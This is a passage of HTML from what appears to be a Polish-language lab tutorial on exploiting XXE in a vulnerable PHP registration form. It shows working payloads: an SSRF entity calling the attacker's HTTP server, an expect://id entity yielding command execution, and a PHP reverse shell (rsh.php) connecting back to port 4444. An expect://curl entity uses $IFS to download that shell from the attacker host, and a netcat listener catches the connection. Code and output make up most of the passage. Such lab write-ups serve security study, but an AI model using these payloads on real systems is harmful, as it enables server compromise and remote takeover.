&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$email&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$info&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="na">email&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$info&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="na">password&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">echo&lt;/span> &lt;span class="s2">&amp;#34;Sorry, &lt;/span>&lt;span class="si">$email&lt;/span>&lt;span class="s2"> is already registered!&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">?&amp;gt;&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Przejdźmy zatem do testów Server Side Request Forgery.&lt;/p>
&lt;h2>SSRF via XXE dla ciekawych&lt;span class="hx:absolute hx:-mt-20" id="ssrf-via-xxe-dla-ciekawych">&lt;/span>
&lt;a href="#ssrf-via-xxe-dla-ciekawych" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Zainicjujmy najpierw serwer, na który spróbujemy wysłać odpowiednio sformułowane
zapytanie zawierające poniższą encję:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">python3 -m http.server&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY ssrf SYSTEM &amp;#34;http://192.168.69.128:8000/&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;root&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;name&amp;gt;&lt;/span>hackermam&lt;span class="nt">&amp;lt;/name&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;tel&amp;gt;&lt;/span>1111111111&lt;span class="nt">&amp;lt;/tel&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;email&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;ssrf;&lt;/span>&lt;span class="nt">&amp;lt;/email&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;password&amp;gt;&lt;/span>password&lt;span class="nt">&amp;lt;/password&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/root&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Sprawdźmy logi odwiedzin na naszym pythonowym &lt;code>http.server&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">Serving HTTP on 0.0.0.0 port &lt;span class="m">8000&lt;/span> &lt;span class="o">(&lt;/span>http://0.0.0.0:8000/&lt;span class="o">)&lt;/span> ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.69.130 - - &lt;span class="o">[&lt;/span>18/Oct/2023 21:33:43&lt;span class="o">]&lt;/span> &lt;span class="s2">&amp;#34;GET / HTTP/1.0&amp;#34;&lt;/span> &lt;span class="m">200&lt;/span> -&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Próba SSRF zakończona pełnym powodzeniem.&lt;/p>
&lt;h2>Trzymamy kciuki za RCE&lt;span class="hx:absolute hx:-mt-20" id="trzymamy-kciuki-za-rce">&lt;/span>
&lt;a href="#trzymamy-kciuki-za-rce" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Pomimo iż podatność ta w głównej mierze zależy od serwera i zainstalowanych na nim
dodatkowych bibliotek/komponentów nie zaszkodzi spróbować tej metody na naszym
podatnym serwerze. Do parsowania wykorzystuje on PHP. Sprawdźmy więc, czy nie
posiada on zainstalowanego rozszerzenia &amp;ldquo;expect&amp;rdquo;.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY rce SYSTEM &amp;#34;expect://id&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;root&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;name&amp;gt;&lt;/span>hackermam&lt;span class="nt">&amp;lt;/name&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;tel&amp;gt;&lt;/span>1111111111&lt;span class="nt">&amp;lt;/tel&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;email&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;rce;&lt;/span>&lt;span class="nt">&amp;lt;/email&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;password&amp;gt;&lt;/span>password&lt;span class="nt">&amp;lt;/password&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/root&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./zap_6.png">
&lt;/figure>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">Sorry, &lt;span class="nv">uid&lt;/span>&lt;span class="o">=&lt;/span>33&lt;span class="o">(&lt;/span>www-data&lt;span class="o">)&lt;/span> &lt;span class="nv">gid&lt;/span>&lt;span class="o">=&lt;/span>33&lt;span class="o">(&lt;/span>www-data&lt;span class="o">)&lt;/span> &lt;span class="nv">groups&lt;/span>&lt;span class="o">=&lt;/span>33&lt;span class="o">(&lt;/span>www-data&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> is already registered!&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Ok &amp;ldquo;expect&amp;rdquo; znajduje się na swoim miejscu. Niestety jak już wspominałem, w celu
pełnego wykorzystania podatności RCE będziemy potrzebowali czegoś więcej. Kodowanie
znaków ma w tym przypadku podobne reperkusje, co w trakcie wyciągania plików PHP,
lecz tym razem nie możemy po prostu wysłać payloada w formacie base64 i oczekiwać,
że wszystko skończy się sukcesem. Oznacza to, że oprócz znaków takich jak np. &lt;code>&amp;lt;&lt;/code>,
&lt;code>&amp;gt;&lt;/code>, &lt;code>|&lt;/code>, &lt;code>&amp;quot;&lt;/code>, &lt;code>:&lt;/code> nie będziemy mogli wykorzystać również spacji, a przynajmniej
w jej naturalnej formie.&lt;/p>
&lt;p>&lt;a href="https://www.baeldung.com/linux/ifs-shell-variable"target="_blank" rel="noopener">$IFS&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> jest zmienną
wykorzystywaną w skryptach basha lub sytuacjach takich jak nasza celem zdefiniowania
i/lub wykorzystania wewnętrznego separatora pól (Internal Field Separator).
W prostych słowach oznacza to znak &amp;ldquo;spacji&amp;rdquo; zapisany w inny sposób. Warto zauważyć,
że Kali Linux jako podstawowego shella używa zsh, więc jeśli wciąż macie tą możliwość
zalecam użyć dockera na systemie, który domyślnie wykorzystuje basha.&lt;/p>
&lt;p>W tym przykładzie postaramy się nie tylko doprowadzić do RCE, ale również za pomocą&lt;br>
poniższego pliku &lt;code>rsh.php&lt;/code> postaramy się zmusić atakowaną maszynę do zainicjowania&lt;br>
odwróconego shella:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;?&lt;/span>&lt;span class="nx">php&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">set_time_limit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$ip&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;192.168.69.128&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$port&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">4444&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$sock&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">fsockopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$ip&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">$port&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">feof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$sock&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nv">$command&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$sock&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1024&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nv">$output&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">shell_exec&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$command&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$sock&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">$output&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">fclose&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$sock&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">?&amp;gt;&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Aby pobrać naszego payloada PHP - przez wzgląd na ograniczenia nazewnictwa - zmienimy
port naszego servera http na 80. Polecenie &lt;code>curl&lt;/code> samo w sobie zrozumie, że próbujemy
skorzystać z protokołu &lt;code>http&lt;/code>, więc tego również nie musimy precyzować.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo python3 -m http.server &lt;span class="m">80&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">nc -lvnp &lt;span class="m">4444&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xxe [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY curl SYSTEM &amp;#34;expect://curl$IFS&amp;#39;192.168.69.128/rsh.php&amp;#39;$IFS&amp;#39;--output&amp;#39;$IFS&amp;#39;rsh.php&amp;#39;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;root&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;name&amp;gt;&lt;/span>hackermam&lt;span class="nt">&amp;lt;/name&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;tel&amp;gt;&lt;/span>1111111111&lt;span class="nt">&amp;lt;/tel&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;email&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;curl;&lt;/span>&lt;span class="nt">&amp;lt;/email&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;password&amp;gt;&lt;/span>password&lt;span class="nt">&amp;lt;/password&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/root&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./zap_7.png">
&lt;/figure>
&lt;p>Po otworzeniu adresu &lt;code>http://192.168.69.130/rsh.php&lt;/code> otrzymujemy:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">Listening on 0.0.0.0 &lt;span class="m">4444&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Connection received on 192.168.69.130 &lt;span class="m">43352&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">whoami
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">www-data&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Nasz &lt;em>dumb reverse shell&lt;/em> gotowy. Pozostało nam jedynie wykorzystanie go do
zainicjowania w pełni funkcjonalnego terminala oraz dalsze zagłębianie się
w architekturę maszyny.&lt;/p>
&lt;p>Ciekawe natomiast jest to, że pomimo iż znaki &lt;code>:&lt;/code> nie powinny być dozwolone,
to odpowiednio wykorzystane nie stanowią problemu.&lt;/p>
&lt;p>Przykład encji, która nie zadziała:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY curl SYSTEM &amp;#34;expect://curl$IFS&amp;#39;http://192.168.69.128/rsh.php&amp;#39;$IFS&amp;#39;--output&amp;#39;$IFS&amp;#39;rsh.php&amp;#39;&amp;#34;&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
